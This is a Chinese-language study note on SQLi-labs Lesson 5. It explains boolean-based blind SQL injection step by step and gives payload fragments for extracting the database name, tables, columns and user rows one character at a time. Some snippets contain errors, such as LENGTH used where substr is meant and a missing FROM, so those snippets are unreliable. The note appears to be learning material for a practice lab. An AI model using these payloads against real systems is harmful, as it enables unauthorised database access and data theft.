记录SQLDUMB学习中,从Lesson 5中学习的新知识和对知识的回顾
Lesson 5 主要通过盲注来获取服务器端数据库详细信息,并找到缺口进行注入。所谓的盲注便是前端页面并不返回后端数据库中相关信息,只有部分提示。例:"You Are In ......"等类似简短的提示。
在此将详细描述该类状况思路,并通过实例解释说明。
注入思路
- 按照上一节SQLDUMB LESSON-1中思路,将可注入的点闭合
- 查询Mysql数据库版本号
- 猜测数据库名的长度
- 猜测数据库名
- 猜测数据库中的表
- 猜测数据库中的表的列名
- 猜测数据库中的表内容
具体步骤:
查询Mysql数据库版本号
-
SELECT version( )
得出版本号:5.5.53
猜测数据库名的长度
-
SELECT LENGTH(DATABASE ( ) ) = '%NUM'
"*%NUM*"是对长度的猜测值
猜测数据库名
- 方法一:
-
SELECT LENGTH(DATABASE ( ),1 ) = '%STR'
以此类推
SELECT LENGTH(DATABASE ( ),2 ) = '%STR'
"*%STR*"是对数据库名字的字母猜测
- 方法二
通过sub() /ascii() 函数,字母的ASCII码进行猜测
ascii(substr((SELECT table_name information_schema.TABLES WHERE tables_schema = DATABASE()LIMIT 0,1),1,1)) = 'ASCII_STR'
"*%ASCII_STR*"是字母的ASCII码
猜测数据库中的表
-
SELECT table_name from information_schema.tables where table_schema like '%DB_NAME'
"*%DB_NAME*"是已经得出的数据库名,也可进行模糊查询
猜测数据库中的表的列名
利用正则表达式,查看'users'表中,是否有以'us'开头的列名
-
select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1'
"*^us[a-z]*"是替换成其他猜测的列名
猜测数据库中的表内容
依旧是每一个字符比对
SELECT * FROM users WHERE id='1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68
至此已经可以查看到每个表的内容
总结
目前学习内容尚浅,只能通过每个字符比较进行手动测试字符,当然后续会有自动化工具,会在后续进行学习。
附录:Mysql常用函数表
- SUBSTR() 函数:
-- substr(string,start,length)
>>>select substr((select username from users where id = 1 limit 1),1,1)
D
- MID() 函数:
-- mid(string,start,length)
>>>select mid((select username from users where id = 1 limit 1),1,5)
Dumb
- ORD() 函数:
-- ord(string)
>>>select ord(mid((select username from users where id = 1 limit 1),1,5))
68
网友评论